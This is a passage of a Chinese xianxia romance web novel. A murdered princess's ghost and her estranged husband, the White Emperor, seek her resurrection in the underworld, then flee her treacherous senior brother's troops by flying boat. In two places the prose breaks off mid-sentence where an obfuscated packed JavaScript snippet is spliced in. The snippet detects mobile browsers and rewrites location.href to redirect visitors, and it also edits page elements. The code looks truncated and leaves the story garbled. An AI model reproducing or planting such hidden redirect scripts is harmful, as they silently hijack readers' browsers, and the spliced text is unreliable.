还是殉情算了。 没得救。 她不记得他是位一心只挂心风月之事的痴情人啊! 醉心风月之事的人明明是她! 以前还活着的时候,她仗着少宫主的身份随性惯了,以至于连修行这种大事,都颇为没规没矩。 借口闭关,实则在看风月话本,说是练武,结果跑到不知何处金阙殿檐上偷闲,想吃槐花饭了,便在方外宫种了满宫槐花。 后来嫁到帝微垣,楚扶昀整个人都让她呆愣傻眼了——这世上怎会有这么冷淡无趣的人? 赏不赏花?不赏。 游不游船?不游。 看不看灯?不看。 肃穆,沉着,仿佛心里永远只有战事兵戈,一盘棋,搅弄天下风云。 暮兮晚心里一个劲儿的追忆过往,不吭声了。 楚扶昀眸光安静,他不知道想到,或是想起了什么,压着嗓音,沉声道:“看上去,你受了不少委屈啊。” “其实也还好,只是……死的时候有点儿疼。”暮兮晚低下头,咬了咬唇,“有些苦头,吃一回就够了。” “不想再吃第二回了。” 她如今唯一想的,就是想办法杀回去,让害了她的人得个报应。 “好,知道了。”楚扶昀闭上眼,像是下了一个决定,眉心的不平淡开几分,“那我们是该回去……” 他睁开眼,目光笼着她,慢慢道。 “为你,平了所有委屈。” 他不问害她的人是谁,也不问办这事儿难度有多大,又或是,他这位白洲少帝要因此得罪多少人。 他只是给了她一个承诺。 承诺的,笃定分明。 夜色深凉,压的暮兮晚心绪一乱。 楚扶昀给的这句承诺,太过寻常,也太过不同了,寻常的让她想起来,在很多年以前也是这样,她用同样的语气,问他要不要出去玩,要不要去游船。 不同的是,这一次,他答了个“好”字。 4. 一念奈何一念别离 夜里的风停了,万籁俱寂。 两人没再说话,就这样安静行路,不过半个时辰,便抵至枉死城。 枉死城地处幽冥却临近阳间,并不阴森骇然,反倒千灯照云,一副笙歌繁华的热闹景象。 暮兮晚同楚扶昀一道过了鬼门关,进城后又绕了几绕,终于在森罗殿中寻见刚回了阎王法旨,禀明前项事的崔绝。 只见崔绝怀中抱着一本书册法宝,喜气洋洋。 “恭喜呀。”暮兮晚一看便知他升官得禄,不由笑道,“如今要唤一声‘崔判官’了。” 崔绝见着来人,也是一喜,道:“此番多谢恩人姑娘了,我……” 他话未说完,便看见走在暮兮晚身后的白洲少帝,不由得脊背一凉,连忙道:“我也多谢白帝出手相助之恩!” 楚扶昀不动声色地走到暮兮晚身边驻足,没有理会崔绝的客套,他本就生得高,又掌兵惯了,浑身凌厉的气势实在没办法让人忽略。 他捻了捻指尖,垂目瞥了一眼崔绝怀中法宝,只道:“你应下的事。” “自然。”崔绝抬手召出生死簿,正色道,“但我必须说好,白帝,我只能帮您寻一个机会。” “这起死回生一事,成与不成,都得看机缘造化。” 就在他准备捻诀念咒,驱动生死簿时,忽觉一阵风声鹤唳,整个森罗殿中顿时喧哗沸腾,有鬼卒从外面奔进来,喊道:“救命!祸事了!外面有仙家中人,闯进来了!” 崔绝眉心一皱,只得收起生死簿,斥道:“胡闹!又是何人擅闯幽冥?” 那鬼卒忙回禀:“是……是方外宫的人!太师仲容!” 殿中所有人齐齐一怔。 暮兮晚更是神色微变,她刚想说话,却觉手臂传来一阵力道,回头一看,发觉师父正拉着她赶紧离开森罗殿,往城中幽魂聚集处藏。 “小丫头怎么不长心眼儿。”长嬴边拽她,边道,“没听见是方外宫的人?还不赶紧躲起来?还想着让他们再杀你一次么?” 暮兮晚就这样措不及防被带离了此地。 楚扶昀回眸瞥了她一眼,没有阻拦。 他走了几步,来到森罗殿正中高堂上坐下,阎王冥官见状,哪儿有不明白的,忙退至一旁,屏息而立。 暮兮晚刚走,森罗殿顿时闯进数十人。 只见这些人手持兵刃排列两侧,而后,从中不疾不徐走出一位头戴高帽,身着道袍,仙风道骨的公子。 方外宫太师,仲容。 他本是面带微笑的进来,可在见到殿上之人后,顿时浑身一僵,笑容也僵了——今日气运大凶,有血光之兆,现在转身走还来得及么。 他们这一群人看似来势汹汹,实则皆是元神出窍,分了一缕意识来此,其真正的身体还远在千洲。 毕竟幽冥地界鬼气肆意,阳寿未尽之人最多逗留七日,对求道问仙者百害而无一益,也只有白帝这个不要命的疯子才会孤身涉足此地! 就在仲容当机立断决定逃跑之时,却有一道强大浩瀚的威压扑面而来,逼的在场众人不得不跪在地上,冷汗淋漓。 恐惧。 是刻在人血脉中的畏死本能,仲容更是措不及防踉跄跌倒,吐了一口血。 “既来了。”楚扶昀居高临下的目光落下来,神情嘲弄,“太师仲容,何必着急离开。” 仲容一惊,整个人瞬间从头凉到脚,心道若他真身在此,只怕决计走不出这森罗殿。 “见过白帝,在下……”他听出了白帝的言外之意,也明白此刻自己该答什么,“在下奉主上之命,领方外宫的人来此,是为请判官开生死簿,改一人命数。” 楚扶昀缓缓抬起眼帘,眉目微凉。 “妄想!”在一旁听得此言的崔绝当即红了脸,怒喝道,“阴司幽冥是令亡魂放下前尘因果,不是让你们拿生死当儿戏!” 仲容听罢,闻声看向这位才将新官上任,不知天高地厚的青涩郎君:“我们不过是想为方外宫的少宫主改命,令她死而复生复生。” 崔绝心头火起,咬牙大怒道:“人死才知珍惜,那她活着的时候,你们又在做什么呢!我们这里只有孟婆汤,没有后悔药!” 仲容显然被这话惹得十分不悦,说实话,这十二年他们方外宫遣人来了幽冥上百次,可每一次都被冥官不着痕迹的拒了回去。 今日更是倒了血霉,碰上白帝在此。 “若想留着命回去,那便如实回答我的问题。” 楚扶昀平淡低沉的嗓音冷冷响起,听不出半点儿情绪,可却让所有人都感到无边恐惧。 “十二年前,她在方外宫,经历了什么。” …… 天色已晚,阴云欺城。 另一边,暮兮晚被长嬴强行带离了森罗殿后,师徒二人藏进了枉死城中一间临街酒家,长嬴见她心情不算太好,替她点了一壶阴酒。 “师父。”暮兮晚有几分心不在焉,垂着头,声音有些低落,“我是不是,从没对您说过,我是怎样死的?” 长嬴看着她,叹气道:“唉呀,丫头你想说就说,不想说,还提它做什么嘛。” 毕竟是痛苦又不甘的记忆,每次回想,都会是一次伤害。 暮兮晚静了片刻,似乎在犹豫,也似乎在斟酌该如何说。 最后,她平静道:“我是被烧死的。” 说得轻描淡写,听上去,像在讲一个无关痛痒的故事。 长嬴神情一变。 “我在方外宫的时候……有一位师兄,名叫袁涣轩,虽然他与我并不师出同门,但他确实对我不错,我也一直都颇为亲近他。” “而太师仲容,便是我这位师兄手下的谋臣之一。” “后来因为方外宫与帝微垣之间的利益交织,我与楚扶昀的仙姻成了板上钉钉的一桩事,为此,我师兄虽发了火,但到底还是将我送去了帝微垣。” 暮兮晚低眸,眼睫微微颤抖。 “在帝微垣,我与楚扶昀之间的相处并不算太好……嗯,现在想来,是因为我与他性格,脾气,观念都截然不同,总之,我们因此生了不少矛盾。” “十二年前,我与楚扶昀吵了一架后,为了一些紧要事,趁着他平乱而出兵之际,偷偷回了一次方外宫。” “然后,我就被我师兄囚禁起来了。” 讲述这些时,暮兮晚一字一句说得很慢,尽量让自己保持平静。 实际上,她对死亡那天的事,记得一清二楚。 袁涣轩将她囚禁在方外宫的地牢中,四面设了禁制阵法,她身着霞衣,头发却凌乱了,手脚被缚了枷锁,六经十二脉的法力皆被封了个一干二净,动弹不得。 无穷黑暗将她笼罩,犹如深渊。 “乖一点,阿晚。” 仙人冷冷叩玉的嗓音传来,袁涣轩半跪在她身前,抬手掐住她的下颌。 暮兮晚被迫仰起头看着这位曾经呵护自己的师兄,她神思混沌,又疲又倦,可却咬牙集中着精神,哪怕狼狈到这个地步,也不想在这个人面前示弱。 “你聪慧,耀眼,本该成为方外宫对付帝微垣的一张底牌,可你不够果决,不够狠心,在帝微垣百年,也没能做到杀了楚扶昀。” “以至于,还让你生了背叛我的心思。” 背叛? 她哪里背叛他了? 暮兮晚唇畔止不住地发抖,似乎拼了命想说话,可身体被下了法术,一句话都说不出。 她是方外宫的少宫主,她属于千洲,这两点没有一日忘却过,也从未想过背叛。 “也罢,我不难为你,楚扶昀除不掉也算了。”袁涣轩端详着她如今脆弱狼狈,足以任他为所欲为的模样,笑了,“我怎么舍得怪你呢,只是在外面玩儿够了,该回来了。” 他说着,轻轻抬手,想安抚她颤抖的眼睫。 暮兮晚拼了命想挪动身体往后躲,却被这位昔日的兄长牢牢钳制在原地。 “够了,别再挣扎。”察觉到她的抗拒,袁涣轩收紧了手中的力道,同时,另一只手开始捻诀作法,“离开我,你又想去哪儿?再回楚扶昀身边吗?” “妄想。” 困着暮兮晚的阵法顿时光芒肆意,随着袁涣轩不断念咒,有嚣张的火焰在阵中渐渐燃起。 “你合该回到方外宫,合该是我的掌中雀,今后你依旧是方外宫的少宫主,我们会回到以前那样,你会永远留在我身边,不好么?” 袁涣轩笑着站起身,几步走出阵外,拂了拂衣袖——哪怕这个时候,他的一举一动都是从容温和,宛如谦谦君子的得体模样。 “别怕,不会疼太久。”他看 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暮兮晚终于明悟了,袁涣轩是想烧了她与楚扶昀的婚帖,同时抹除留在她魂魄上的,那一道红鸾祝福。 师兄认为,她对楚扶昀动情动心了,所以说她“背叛”了他。 多么的……可笑。 暮兮晚只觉得荒唐,就为了这么个理由,他没有过问过她的半点儿意思,就这样轻飘飘将她推进了大火中。 她看着袁涣轩笑得深情款款,而在这背后,是不加掩饰的偏执与痴狂。 她也眼睁睁地看见,她与楚扶昀之间的存在了近百年的对月婚帖,在这场大火中,一点点化作灰烬。 与此同时,身上传来火烧般的疼。 暮兮晚后知后觉地低头看去,才发现不知什么时候,她的衣衫,发尾,全部起了火,大火从下到上一路蔓延,将她吞噬裹挟。 最后,她看见袁涣轩神情遽变。 暮云苍茫,那天的方外宫,起了一场不为人知的火。 …… 幽冥,枉死城。 暮兮晚垂着眸,在酒家客栈的大堂里,低声同长嬴讲述完了这场过往。 “这场火不知为何出了差错,它变成了一场,真正会要人命的真火。”暮兮晚缓了缓,不等长嬴说话,又道,“然后……如师父您所见,我就被烧死了。” “但我毕竟不是个束手就擒的傻子,用了点儿办法保住了自己魂魄不散,才得以坚持到师父您来救我。” 长嬴听得震撼,随后,他攥紧了拳头,咬着牙道:“孽障小儿。” 暮兮晚呼出一口气:“我死后,袁涣轩彻底控制了方外宫,他拿走了我原本在方外宫的所有权力,接管了对我忠心的下属,我原本潜心数十年打造的机关宝物,也落在他手里了。” “然后,十洲如今所有人,都在赞扬他痴情一片,称他品行高洁,多少仙家贵女因此对他趋之若鹜。” 长嬴惆怅:“所以你才想回去。” 暮兮晚听得这话倒是笑了,一只手托着腮,转眸看着师父:“对啊,我想回去,我真的很想问问他……凭什么呢?凭什么……杀我杀的这样干脆狠心呢?” 长影叹道:“可你如今才刚刚凝成半个实体,魂魄不稳,只怕一回阳间,随时都有可能烟消云散!” 暮兮晚一愣,噎住无话。 她明白师父说得在理……可是,被死亡折磨了十二年,五感不全,意识模糊,她真的,真的不是很想再等了。 她转眸看向窗外,只见枉死城风雨戚戚,仍是晦暗如渊。 而森罗殿前,夜色阴沉。 太师仲容领着从方外宫闯来的所有兵甲全部跑了个干干净净——废话,刚刚讲完少宫主之死的始末,再不跑,可就真的跑不掉了。 “白帝,您……”崔绝看着坐在殿上,似乎依旧没半分波澜的白洲少帝,忍不住背后冒冷汗。 极致的理智与冷静,最是可怕。 只见楚扶昀骨节分明的手指轻轻弯折,静了一会,他抬眸,目光扫向崔绝。 “崔判官。” “可以开诚布公了吗?” 他眉目如刀戟,声音黯哑。 “真正的,起死回生之法。” 5. 生死簿勘悟情字劫 “这世间,确实有起死回生之法。” 崔绝定了定神,他明白楚扶昀没想难为他,于是整了整衣冠站在森罗殿下。 生死簿在他掌心光芒大亮,书页翻飞。 “但白帝,这得看您想救她救到什么程度。” 楚扶昀抬了抬眼帘,看着他。 崔绝道:“您可以为她塑个躯壳,让她半人半鬼留在阳间,这是一种救法,只不过她会五感有缺。” 楚扶昀闭目,没回答。 崔绝又道:“但她不知为何,没有命数在生死簿上,所以,您还可以选择付出点儿代价,借生死簿写命,让她化作普通凡人,这也算起死回生。” “只不过,她也会像凡人一样会经历生老病死,七灾八苦,在寿终正寝红尘已了后,谁也没法再救她第二次。” 楚扶昀依旧只是闭着眼,看上去对前两个法子漠不关心。 崔绝咬了咬牙,呼出一口气后,道:“您若想让她万寿无疆,想让她身负仙骨,想让她重回青云之上,想让她……此生永不落红尘,便还有最后一种救法。” 楚扶昀抬起眸子看向崔绝,示意他继续。 崔绝道:“代价很重。” 楚扶昀道:“我是否付得起?” 崔绝道:“付得起。” 楚扶昀冷冷一扯唇角:“说便是了。” 崔绝神情一动,颔首,只见悬停在他掌心的生死簿,有象征生死法则的黑白光芒一缕一缕流转而出,逐渐萦绕了整个森罗殿。 “具体而言,您需要四件宝物,三场火。” 崔绝的声音蕴含着生死的力量,字字穿透心底,如有实质。 “为她寻得木岁之花,重塑身体。” “为她寻得辰星之水,点明双目。” 一字一句缓慢的,荡出回响。 “为她寻得杀祸之精,化作仙骨。” “让她经历生死情劫,悟成本心。” “最后,再领着她,在此世苍黄人间最纯粹的火里走三遭,如此,生死簿将会重刻她的命数。” 听上去很简单,不过是塑身明目,锻骨凝心。 就像工匠烧瓷一样,有了素胚后,再将她送进火中淬炼,待重见天日之时,必将光华万丈。 崔绝一口气说完所有后,神情是从所未有的严肃郑重:“白帝,我还得说一句,这个法子虽在生死簿有记载,但从古至今,没有任何人成功过。” 楚扶昀眸光一抬,示意他继续说下去。 崔绝道:“这人间的遗憾与悔悟多了去,不是没有人来阴司黄泉试图救回自己的至亲挚爱,但起死回生到底是逆天而行,犹如逆风执炬,必有烧火之患。” 楚扶昀听了,神情是稳而平的,像得了一个禅偈,也只像听了一个简单的故事。 “好,我记着了。”他只是这样说。 楚扶昀站起身,向外走,就在他即将离开森罗殿时,崔绝又喊住了他。 “白帝。”他作揖行礼,道,“我与您有缘,也与少宫主有缘,所以我或许,还能帮上最后一个忙。” 楚扶昀停住了步伐,回身看着他。 “您为生,她为死。”崔绝想了想,正色道,“若您愿意付出点代价,我便能以此炼一个法宝,又叫‘返魂香’,戴在她身上,能有固魂凝心之效。” 楚扶昀蹙了蹙眉,问道:“你要从我这里,取走何物。” 他知道,世间因果命数一向遵循等价交换的原则,在有关生死的大事上,幽冥的判官不会说谎。 崔绝道:“过往之情。” 楚扶昀问:“取走后,我会如何。” 崔绝答:“您将忘记您爱她。” 楚扶昀没有立刻回答崔绝,他站在原地,眼眸闭了又闭,无言良久。 在漫长的等待中,直到风停了,万籁俱寂了,他才微微抬头,唇畔,漾开了一抹很浅的笑。 这是崔绝头一次在这位少帝身上看到,能被称得上“希望”之类的情绪。 像是他寂寥漫长的生命,终于有了点儿盼头似的。 “好。”最后,楚扶昀这样轻声回答。 …… 枉死城中,夜色深蓝如墨。 暮兮晚同长嬴闲话许久,又在出门在城中逛了逛,为自己购置了一件趁手兵器后,见楚扶昀还在森罗殿内,不便打扰,干脆回了客栈,开了间上房稀里糊涂倒头就睡。 半梦中,她听见衣衫的窸窸窣窣声,闻到了熟悉的气息。 暮兮晚迷朦着睁开眼,发觉楚扶昀不知什么已经回来了,正挨在她身边,微微俯着身体,在她腰间衣衫上系着什么。 她一下子就清醒了,望向自己腰间,发觉他给她在系的,是一个小巧精致的香囊荷包。 “你你你……你在干什么呀?咦?这是什么?” 她本来一向很戒备任何不熟之人的接近——开玩笑儿,只剩个魂儿了,再不警惕就真的连魂儿也不剩了。 可是,楚扶昀靠近她,她的潜意识却没半点儿察觉,也没对他设防,甚至能称得上“习惯”二字。 暮兮晚努力想了想,回忆半晌,将这一行为归结当他的仙眷太久了。 况且,以前在帝微垣时,自从她干了不少荒唐事后,楚扶昀也没再排斥过她的靠近——他是个戒备心比她还强的人。 “返魂香,可固魂。”他纤长的手指捻着荷包带子在她腰间衣衫上,灵巧地打了个结,并施了个法术保证它的牢固,“带着此物,在离开幽冥前往阳间后,你身上不会有鬼气,也不会惧阳光,看上去与常人无异。” 暮兮晚实在没想到他连这个都考虑到了,下意识想道谢,可反复斟酌了几遍措辞,都觉得他的坦荡反衬得她有几分矫情。 她拿起香囊,仔细端详了片刻,又放到鼻边闻了又闻。 很舒心。 很喜欢这个味道。 她死后五感不全,嗅觉也变得非常弱,很多气息,都得废很大力气才能闻得到,十二年的当鬼生涯中,她已经很久没闻见这么好闻的香气了。 这个返魂香的气息虽然很淡,闻起来却毫不费力。 清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320243|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅微苦,融融的,有点儿像白洲落日余晖里,那醉醺醺的连片芦苇秋意。 像他的气息。 “你若不喜欢……”见她有些出神,楚扶昀皱了皱眉心,语气不自觉利了几分,“不喜欢也得带着,没有商量的余地。” 暮兮晚仰起头,眨了眨眼。 她想说没有不喜欢,她听说过返魂香,知道这宝贝不止在幽冥地界,哪怕放到整个四海十洲,恐怕都称得上稀罕物。 楚扶昀能搞来这个东西,只怕用了不少金银或是宝物去换。 最终,暮兮晚看着他,干巴巴冒了两个字。 “贵么?” 很好,她现在显得不矫情了,显得很抠门了。 “……” 楚扶昀显然没想到她会说这个,身体微微一僵,无可奈何地揉了揉眉心,忍不住道。 “财迷心窍。” 暮兮晚嘴唇张了张,似乎想说些什么。 不是,问一下价格很正常吧,怎么就财迷心窍了? 最终,楚扶昀平静开口了。 “不贵。” 他在她身边坐下,与她对视着,说道:“最迟几个时辰后,我们得离开幽冥。” 两个人之间距离近了几分,于是返魂香的气息就更浓了。 夜里有风,从窗棂拂进来,刚刚好将她鬓边的一缕发丝吹乱了,贴在脸上,有点儿痒。 楚扶昀伸手,想去整理挨在她面容上调皮的乱发,可刚一抬,在半空里一滞,又止住了。 暮兮晚一怔,转开了目光,自己将鬓边乱发梳好,问道:“今夜就走么?” “你若不想等死,就必须随我走。”楚扶昀不着痕迹地收回了手,轻声抛了一句话,“方外宫的人不傻,他们很快会回来打探,并查出你的下落。” 暮兮晚显然也想到了这一层,犹疑着,却又想像起了什么,多问了一句:“师父能带着么?” 楚扶昀瞥了她一眼:“你想带就带。” 暮兮晚杏眸一亮,好看,是那种纯粹明媚的好看。 她下了床起身走出去,跑向隔壁房间,轻轻叩门,一边叩一边小声喊道:“师父——!师父你醒醒,我们准备要回去啦!” 楚扶昀看着她的背影,没有跟上去,只是手心攥紧了一下。 他缓缓闭上眼,蹙眉,掩住目光里的深长。 他与她之间曾经发生过的,相处的记忆仍在,半点儿没忘,只是心中情愫确实在如潮水般慢慢褪去。 但那又如何? 反正他还会再爱上她。 他记得她喜欢人间的珍馐佳酿,记得她怕疼,还怕死。 于是当崔绝说出那三种起死回生之法时,他没半点儿迟疑的,就选择了第三个。 这十二年,他在灵台山等的是真实的她,又不是一厢情愿中想象的她,在拿走了这份情愫后,他若是会变得对她冷漠以待,甚至移情别恋…… 要真这样,那这份爱也太不值钱了。 只要想明白这个。 那也没什么,可犹豫的。 6. 方外仙拜谒请花关 东方日出,万里无云。 千洲,方外宫。 “楚扶昀离开了灵台山?” 香霭龙楼,在方外宫的一座珠宫贝阙中,殿下两侧立着二三十个整衣端肃的小仙侍,无不恭谨。 殿中高台之上立着一花架,花架前,则站着一位身着檀色锦衣的仙家公子,他面容清疏,此时正垂手修花,看上去既矜贵,又风雅。 这便是袁涣轩,闻名四海的轩平真君——方外宫鸿极老祖座下弟子,千洲如今的掌权人。 “果然,当年阿晚没事。”他微微一扬眸,笑了,“她当真狠得下心以死骗我。” 太师仲容站在大殿下,躬身下拜,道:“禀主上,臣后来再去枉死城时打探了,白帝已然寻得了她。” 袁涣轩轻轻抬了抬眼帘,道:“你们,办事不力啊。” 仲容忙跪下:“望主上责罚。” 袁涣轩半个眼神都没分给殿下跪着的人,只是轻笑:“这是阿晚最喜欢的花,好看吗?” 他小心翼翼修剪着花架中多出来的枝桠,一举一动都极为温柔。 仲容冷汗涔涔,心中直骂八代祖宗——你瞧瞧我像是敢答话的样子吗! “待她回来,正好能看见。”袁涣轩转眸瞥了一眼汗流浃背的仲容,笑道,“你率三十六部将,点五万天兵,去将她带回来吧。” 仲容斟酌道:“是要攻打白洲么?白帝若寻得了少宫主,必会将她带回白洲。” “不,白洲的仙祖道君们不会再容忍楚扶昀了,他们也不会允许统率白洲的帝主,痴情到如此地步。”袁涣轩像是想到了什么,嗤笑道,“他们会向东走,去东洲。” 他敛了笑容,抬手扔了块令牌至仲容面前,道,“至于她身边的其他人。” “杀。” 仲容领命离去。 …… 天光正好,有山有水,景色如画。 暮兮晚一行人出了枉死城后,用银两租了条小型仙家楼船,由暮兮晚驶船,楼船载着三人顺顺利利离开了幽冥地界,乘风卷云,踏云飞行。 暮兮晚一边开船,一边心中赞美楚扶昀:将军果真运筹帷幄,哪怕在灵台山呆了十二载也没有一穷二白! 他身上有钱!特有钱! 长嬴平日里混吃混喝习惯了,倒是头一次搭乘这种机关法宝,惊奇道:“这船当真稀罕,借天地灵气而行,不需要腾云驾雾,也不需要法力,凡人也能操纵。” 暮兮晚听了,有些得意:“那是,我造的嘛!” 长嬴更震撼:“你修的?” 暮兮晚理所当然:“嗯嗯,我还活着时候研制的这一飞行法宝,后来,这种楼船被普及,成了四海最广泛便捷的出行工具,如今整个十洲楼船所有的航班航线,都在我的管辖之下。” 顿了顿,她又补充了一句:“哦,我死了以后,这些都被袁涣轩接管了。” 坐在船尾一直一言不发的楚扶昀抬眸看了她一眼。 长嬴看着仙船如条灵活的小鱼,在云层中穿梭游弋,暮兮晚开得并不快,但是十分的稳。 他问道:“我们这是要去哪儿啊?” 暮兮晚答道:“将军说了,往东走,去东洲。” 长嬴一听就急了,大惊失色:“不!我不去东洲!” 暮兮晚也急:“师父你说的轻巧!我也不想去啊!” 此时清风微动,习习轻轻。 “呵。” 楚扶昀神色微敛,看着前面满脸不情愿的这对师徒,冷笑一声。 “不去东洲?你们是想回白洲或千洲送死?” 他皱了皱眉,不得不将种种考量解释得再清楚一些:“镇厄之战后,十洲看似势力纷纭,可说到底,也不过是天下三分,无论是洲,城,还是仙府,皆臣服于这三方王权。” “这三方王权,分别是白洲帝微垣,千洲方外宫,以及东洲不问都。” 暮兮晚默默听着,垂眸一叹,心道她自然知晓。 自己若还活着,本该是方外宫的少宫主,千洲未来的继承人,而楚扶昀则一直是白洲的帝主,帝微垣也是这三方王权中,最为强大的一方。 楚扶昀闭目养神,指尖在膝上微微轻点:“三方王权到底也有高下强弱之分,东洲不问都,则是其中最弱势的一方。” “但不问都,却是以‘慈悲’二字闻名于世的一处地界。”他缓缓睁开眼,看着前方没再吭声的暮兮晚,反问道,“方外宫如今必然已察觉到你的存在,若进了白洲与千洲地界,没有胜算。” “还是说,你想回那方外宫,与你的师兄再续前缘?” 他语气很冷,没半点儿留情。 “谈谈,你们这对师徒不愿去往东洲的缘故。” 楚扶昀目光扫向这二人,微微颔首,好整以暇。 就像在兵营里,打量犯了错的下属似的。 暮兮晚抿了抿唇,吞咽一下,老实交代了:“我只是……和不问都的都主……” “有仇。” 楚扶昀:“?” 暮兮晚似乎是想起了什么旧事,不得不诚恳道:“我以前一展鸿图布阵十洲的楼船行路时,和东洲不问都起了金银财帛冲突,几次和他们的都主殿下大打出手。” “这应该叫……嗯,商战。”她补充道。 “我还派人潜进过东洲,将他们的最大的那棵生财树浇焉了,气得都主冲出东洲一路追着我打,嗯,总而言之,我跟东洲都主称得上一声‘劲敌’?” 楚扶昀:“……” 暮兮晚感受到如芒在背的目光,鼓起勇气打直了腰背,用胳膊肘戳了戳长嬴,不服气道:“我说完了!师父你快老实道来!你又为何不想去东洲?” “没……也没什么。”长嬴默默捂脸,忐忑道,“我和不问都的都主……” “也有仇。” 楚扶昀:“?” 暮兮晚:“?” 长嬴强作镇定:“我曾经偷过骗过赖过东洲名酒‘十洲春色’共计三千六百五十坛,欠钱不还,上了他们的捉拿名剌。” 楚扶昀:“……” 暮兮晚:“……” “听起来我比我师父靠谱多了!”暮兮晚不知从哪儿生出来一种自豪感。 楚扶昀揉着眉心,闭着眸,几番欲言又止。 日光明灭,在无言的沉默中,他像是察觉到了什么异常,顷刻间抬手结印,闻风往后一甩。 “轰隆——” 这道法术霎时脱手而出,似乎不偏不倚正正打中了什么。 暮兮晚面色遽变:“有人追上来了?” 楚扶昀道:“方外宫,太师仲容手下三十六部将的下属天兵。” 长嬴惊恐:“那怎么办?” 楚扶昀凝神:“不怎么办,在被追上之前抢先一步进入东洲地界,他们就奈何我们不得。” 暮兮晚收起方才所有随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320244|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的态度,抬手拨弄了几下仙船机关:“来得真快。” 仙船霎时不复刚才平稳之态,犹如脱缰之马飞驰而去! 方外宫的追兵们追得更紧了。 长嬴回头,只见天暗地昏,预计千百余兵将早已腾云驾雾,将四周围了个水泄不通,布下天罗地网。 “轰隆——”方外宫天兵动了真格,有无数法术接连砸来。 暮兮晚没放松,将楼船速度调到极致,躲开一道又一道法术,把追兵一众又一众抛在后面。 “轰隆——轰隆——”更多的阻截法术袭来。 “真麻烦,甩都甩不掉。”暮兮晚瞥了眼周围,二话不说又拨动了几个机关,解开身上的安全带子,“师父,帮我开下船!” 她拾起从枉死城买的兵器,松了船舵,一个转身轻跳出去,站在船头回身看向后方。 长嬴崩溃:“我不会开啊啊啊——!” 暮兮晚道:“跟导航走!” 长嬴慌乱:“导航?什么是导航?” 他话音刚落,只见船舵旁跳出了一个小小的罗盘机关,一本正经发出声响。 「正在为您规划最优路线,向东飞行一千九百丈后进入东洲地界。」 「监测到您已严重超速,当前限速……」 长嬴不可置信:“这也是你造的机关?!” 暮兮晚不置可否:“对,仿照我故乡那边特产造的。” 她一边说,一边抬起了手中兵器。 “晚晚你在干嘛!”长嬴手忙脚乱地开着楼船,在他意识到自己徒儿是想独自一人拦住追兵后,慌了,“你是个魂儿啊你没有法术的……” “砰——!” 长嬴话未说完,就听见一声巨响。 “砰——!”又是一声巨响,只不过这一次,似乎是从暮兮晚身上发出的。 长嬴愣愣地仰头看去,只见暮兮晚孑然立于船头之上,长风吹乱了她的鬓发,扬起来,好看的,超然绝俗。 而她在手上,正端着的一支小巧精妙的,长形圆筒状兵器。 火铳。 “砰!”这一次,长嬴看清了,那小小的圆筒兵器里又射出了一道流火。 这流火顺风而去,准确无误的击中了方外宫天兵所在的位置。 风乱了,云也乱了,火光炸开,追兵们一下子全淹没在云里,看不清他们了。 暮兮晚莞尔一笑,笑得明媚昂扬。 她回眸,看见了长嬴惊掉下巴的神情,眨了眨眼:“师父我没跟您提起过吗?我的兵器。” 千洲的继承人,方外宫少宫主。 善机关,善阵法,其兵器…… “枪啊。” 暮兮晚灵动的眼睛神采飞扬,她站在融融阳光里,披着一身明亮。 手中火枪接二连三地打出一道又一道流火,她不动声色地处理了追兵,拦下了他们的阻截。 其实,这些追兵本可以让楚扶昀解决,就像灵台山的那只鬼王一样。 但…… 暮兮晚低眸,看向船尾处正撑着额间,从头到尾没说一句话的楚扶昀。 他脸色苍白,双目紧闭,似乎在隐忍着什么不适一样。 暮兮晚轻轻叹气。 是的。 楚扶昀晕船。 用仙术都不能完全压下去的那种严重晕船。 说起来,这还是在与他成婚后,她无意间发现的一桩小事了。 7. 方外仙拜谒请花关 这种仙船在十洲有个统一的名号,“踏云”。 在踏云仙船没被造出来之前,只有得了道的仙人能飞,凡人是无法飞的。 暮兮晚还在方外宫时,便想造个法宝,让凡人与仙人一样,皆能腾云驾雾。 这事儿被一众文武仙卿知晓后,却狠狠批评了她一顿:“凡人没有仙骨,非仙家嫡派,况且,他们飞起来有何意义呢。” 暮兮晚道:“好没道理!不应该说‘王侯将相宁有种乎’么?” 此话一出,各仙卿尊师都吓了一跳,他们终于发觉,自家这位天资卓绝的少宫主,似乎有那么一点儿大逆不道。 于是大家轮番上阵,苦口婆心焦头烂额,试图给少宫主讲道理——比如什么是“正统”,什么是“顺应天命。” 可惜少宫主是个犟种,压根我行我素。 在嫁去了白洲后,她本以为这位镇守天下兵戈的白帝,也会是一个老古板。 谢天谢地,楚扶昀不是。 楚扶昀从不像方外宫的文武仙卿们一样对她长篇大论的说教讲道理。 他也从不要求这位少宫主去改变些什么——比如,“举止要像一个帝后的模样”或是“言行要有一个神仙的气度”。 在与他成婚的这百年。 她可以完完全全做她自己。 得益于楚扶昀的这种态度,暮兮晚在白洲重操旧业,一挽袖子,叮叮当当的干起了她以前在方外宫没法践行的造船伟业:让所有凡人也能自由自在地飞行! 数月后,踏云仙船应运而生。 所以某些时候,暮兮晚真的挺感激楚扶昀,甚至在仙船下水那日,她热情地邀请自己的夫君一道去游船。 楚扶昀微笑:不去。 言语中一副十分嫌弃楼船的态度。 暮兮晚也微笑:后悔了,感激个毛线! 就知道他也是个自诩仙家高贵,不解风情的老古板! 